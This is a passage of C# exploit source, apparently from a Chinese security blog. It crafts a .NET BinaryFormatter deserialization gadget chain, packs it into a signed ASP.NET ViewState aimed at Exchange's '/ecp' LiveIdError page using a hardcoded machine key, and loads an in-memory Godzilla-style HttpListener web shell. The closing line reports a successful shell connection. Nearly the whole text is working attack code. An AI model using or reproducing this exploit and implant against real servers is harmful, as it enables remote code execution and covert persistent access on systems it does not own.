object o = ((System.Reflection.Assembly)sessionTable[""payload""]).CreateInstance(""LY"");
System.IO.MemoryStream outStream = new System.IO.MemoryStream();
o.Equals(outStream);
o.Equals(httpContext);
o.Equals(data);
o.ToString();
byte[] r = outStream.ToArray();
outStream.Dispose();
if (r.Length > 0)
{{
r = new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length);
response.StatusCode = 200;
stm = response.OutputStream;
response.ContentLength64 = r.Length;
stm.Write(r, 0, r.Length);
}}
}}
}}
else
{{
response.StatusCode = 404;
response.ContentLength64 = not_found.Length;
stm = response.OutputStream;
stm.Write(not_found, 0, not_found.Length);
}}
}}
catch (Exception e)
{{
response.StatusCode = 404;
response.ContentLength64 = not_found.Length;
stm = response.OutputStream;
stm.Write(not_found, 0, not_found.Length);
Console.WriteLine(""Exception caught1: "" + e.ToString());
}}
finally
{{
if (stm != null)
{{
stm.Flush();
stm.Close();
}}
response.OutputStream.Flush();
response.OutputStream.Close();
}}
}}
}}
catch (Exception e)
{{
Console.WriteLine(""Exception caught2: "" + e.ToString());
//log(""Exception caught2: ""+ e.ToString());
if (listener.IsListening)
{{
listener.Stop();
}}
}}
}}
}}";
return code;
}
}
public class MemoryShellLoader
{
public static byte[] compile_base64_shell(string key, string pass, string inject_path, string memory_shell_type)
{
byte[] assembly_bytes = null;
string source_code = string.Empty;
source_code = CodeHelper.get_memory_http_listenr_code(key, pass, inject_path);
try
{
CSharpCodeProvider code_provider = new CSharpCodeProvider();
CompilerParameters parameters = new CompilerParameters();
parameters.ReferencedAssemblies.Add("System.Web.dll");
parameters.ReferencedAssemblies.Add("System.dll");
parameters.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
parameters.ReferencedAssemblies.Add("System.Core.dll");
// parameters.GenerateExecutable = false;
// parameters.GenerateInMemory = true;
CompilerResults compiler_results = code_provider.CompileAssemblyFromSource(parameters, source_code);
if (compiler_results.Errors.HasErrors)
{
foreach (CompilerError err in compiler_results.Errors)
Console.WriteLine(err.ErrorText);
}
else
{
// 临时路径进行编译
assembly_bytes = File.ReadAllBytes(compiler_results.PathToAssembly);
File.Delete(compiler_results.PathToAssembly);
}
}
catch (Exception excetion)
{
Console.WriteLine($"Memory Generate Fail, {excetion.Message}");
Environment.Exit(-1);
}
return assembly_bytes;
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(TextFormattingRunProperties));
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
[Serializable]
public class PayloadClass : ISerializable
{
private IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector)
{
Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
.GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
.MakeGenericType(typeof(TSource), typeof(TResult));
return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>;
}
public byte[] GadgetChains()
{
DesignerVerb verb = null;
Hashtable ht = null;
List<object> ls = null;
//byte[] payload = File.ReadAllBytes(Path.Combine("./test.dll"));
//byte[][] e1 = new byte[][] { payload };
byte[] inject_memory_payload = MemoryShellLoader.compile_base64_shell("key", "pass", "/favicon.ico", "HttpListener");
byte[][] e1 = new byte[][] { inject_memory_payload };
// Assembly.Load
IEnumerable<Assembly> e2 = CreateWhereSelectEnumerableIterator<byte[], Assembly>(e1, null, Assembly.Load);
// IEnumerable<Type>
IEnumerable<IEnumerable<Type>> e3 = CreateWhereSelectEnumerableIterator<Assembly, IEnumerable<Type>>(e2,
null,
(Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate
(
typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes")
)
);
IEnumerable<IEnumerator<Type>> e4 = CreateWhereSelectEnumerableIterator<IEnumerable<Type>, IEnumerator<Type>>(e3,
null,
(Func<IEnumerable<Type>, IEnumerator<Type>>)Delegate.CreateDelegate
(
typeof(Func<IEnumerable<Type>, IEnumerator<Type>>),
typeof(IEnumerable<Type>).GetMethod("GetEnumerator")
)
);
//bool MoveNext(this) => Func<IEnumerator<Type>,bool> => predicate
//Type get_Current(this) => Func<IEnumerator<Type>,Type> => selector
//
//WhereSelectEnumerableIterator`2.MoveNext =>
// if(predicate(IEnumerator<Type>)) {selector(IEnumerator<Type>);} =>
// IEnumerator<Type>.MoveNext();return IEnumerator<Type>.Current;
IEnumerable<Type> e5 = CreateWhereSelectEnumerableIterator<IEnumerator<Type>, Type>(e4,
(Func<IEnumerator<Type>, bool>)Delegate.CreateDelegate
(
typeof(Func<IEnumerator<Type>, bool>),
typeof(IEnumerator).GetMethod("MoveNext")
),
(Func<IEnumerator<Type>, Type>)Delegate.CreateDelegate
(
typeof(Func<IEnumerator<Type>, Type>),
typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod()
)
);
IEnumerable<object> end = CreateWhereSelectEnumerableIterator<Type, object>(e5, null, Activator.CreateInstance);
// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = end };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary
// Class is internal so need to use reflection.
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
verb = new DesignerVerb("", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
// Pre-load objects, this ensures they're fixed up before building the hash table.
ls = new List<object>();
ls.Add(e1);
ls.Add(e2);
ls.Add(e3);
ls.Add(e4);
ls.Add(e5);
ls.Add(end);
ls.Add(pds);
ls.Add(verb);
ls.Add(dict);
ht = new Hashtable();
// Add two entries to table.
/*
ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");
*/
ht.Add(verb, "");
ht.Add("", "");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
ls.Add(ht);
BinaryFormatter fmt1 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt1.SurrogateSelector = new MySurrogateSelector();
fmt1.Serialize(stm, ls);
return stm.ToArray();
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
System.Diagnostics.Trace.WriteLine("In GetObjectData");
info.SetType(typeof(System.Windows.Forms.AxHost.State));
info.AddValue("PropertyBagBinary", GadgetChains());
}
}
public class Program
{
static object Deserialize(byte[] b)
{
using (MemoryStream mem = new MemoryStream(b))
{
mem.Position = 0;
BinaryFormatter bf = new BinaryFormatter();
return bf.Deserialize(mem);
}
}
static byte[] Serialize(object obj)
{
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(mem, obj);
return mem.ToArray();
}
}
static byte[] GetViewState(byte[] data)
{
MemoryStream ms = new MemoryStream();
// 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
ms.WriteByte(0xff);
ms.WriteByte(0x01);
// 指定ObjectStateFormatter进行序列化,特征为0x32
ms.WriteByte(0x32);
uint num = (uint)data.Length;
// Value为带有7bit-encoded长度前缀,所以最大长度为0x80
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(data, 0, data.Length);
return ms.ToArray();
}
static void Main(string[] args)
{
//string xaml = @"";
//byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml)));
Console.WriteLine($"Trying Inject Payload -> CSharpDynamicPayload Encryptor -> CSHARP_AES_BASE64 Password -> pass Key -> key Header -> Type: mem_b64");
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt1 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
PayloadClass test = new PayloadClass();
fmt1.SurrogateSelector = new MySurrogateSelector();
fmt1.Serialize(stm, test);
byte[] data = GetViewState(stm.ToArray());
byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };
// clientId = hash(当前请求路径)+hash(当前请求文件名)
uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
StringComparer.InvariantCultureIgnoreCase.GetHashCode("LiveIdError_aspx"));
// MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
// 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
MemoryStream ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(_mackey, 0, _mackey.Length);
byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(hash, 0, hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
Console.ReadKey();
}
}
}
哥斯拉内存马连接情况如下所示,可以看到成功连接